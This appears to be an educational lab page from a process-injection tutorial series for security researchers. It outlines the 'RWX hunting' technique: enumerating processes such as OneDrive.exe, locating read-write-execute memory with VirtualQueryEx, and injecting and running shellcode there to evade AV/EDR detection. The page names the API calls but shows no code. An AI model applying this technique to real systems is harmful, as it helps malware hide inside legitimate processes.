This comprehensive process injection series is crafted for cybersecurity enthusiasts, researchers, and professionals who aim to stay at the forefront of the field. It serves as a central repository of knowledge, offering in-depth exploration of various process injection techniques and methods used by adversaries.
In this lab, we cover RWX hunting technique to avoid RWX memory detection of AV/EDR solutions, RWX hunt technique involves locating a target process, identifying writable and executable memory regions within that process, injecting shellcode into the identified memory, and then executing the shellcode. It starts by enumerating processes to find the target by name using functions like NtGetNextProcess
and GetProcessImageFileNameA
. Once the target process is identified, the code examines its memory regions with VirtualQueryEx
to find suitable locations for code injection.
NtGetNextProcess
function from ntdll.dll to enumerate all processes.GetProcessImageFileNameA
to retrieve the image name of the process, and the code extracts the filename to compare with the target process name.VirtualQueryEx
to query for memory regions that are marked as readable, writable, and executable (PAGE_EXECUTE_READWRITE)Loop through all processes and return handle for given image (OneDrive.exe)
